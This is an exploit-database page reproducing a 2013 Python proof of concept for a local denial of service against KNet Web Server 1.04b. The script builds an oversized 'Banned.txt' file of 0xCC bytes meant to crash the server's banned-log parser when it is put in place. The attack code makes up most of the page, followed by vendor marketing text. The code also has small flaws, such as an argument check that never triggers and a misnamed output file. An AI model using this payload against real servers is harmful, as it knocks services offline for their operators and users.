Lucene search
K

KNet Web Server 1.04b Denial Of Service

🗓️ 07 Jun 2013 00:00:00Reported by ne0zType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 32 Views

KNet Web Server 1.04b Denial Of Service vulnerability in Banned Log Parse

Code
`#!/usr/bin/python  
# Exploit Title : KNet Web Server 1.04b Local Denial Of Service  
# Date : 6 Jun 2013  
# Exploit Author : ne0z  
# Vendor Homepage : http://www.hatsecure.com  
# Version : KNet Web Server 1.04b  
# Tested on : Windows XP Profesional SP3  
# Windows XP Profesional SP2  
# Windows 7 Ultimate  
#  
# Description :  
# KNet Web Server have banned log with location C:\\Program Files\KNet\Banned.txt  
# The parser of the banned log is vulnerable, when size of content in Banned.txt more than 200 KB  
# and then KNet Web Server will crash.  
#  
# To generate Banned.txt just simple (Windows)  
# $ python KNet_DOS_exploit.py C://  
#  
# Then move the file from C:\\Banned.txt to C:\\Program Files\KNet\Banned.txt  
  
import sys, os  
  
arg = sys.argv  
  
if (len(arg) < 1):  
print "KNet v1.04b - Local DOS exploit"  
print "Usage : "  
print "$ python "+arg[0]+" [PATH]"  
print "Example : "  
print "$ python "+arg[0]  
sys.exit(0)  
  
try:  
print "[X] Generate payload"  
d = open("Banned.txt","w")  
payload = "\xCC" * 300000  
d.write(payload)  
d.close()  
print "[X] Saved to Banner.txt"  
except:  
print "Error"  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Jun 2013 00:00Current
7.4High risk
Vulners AI Score7.4
32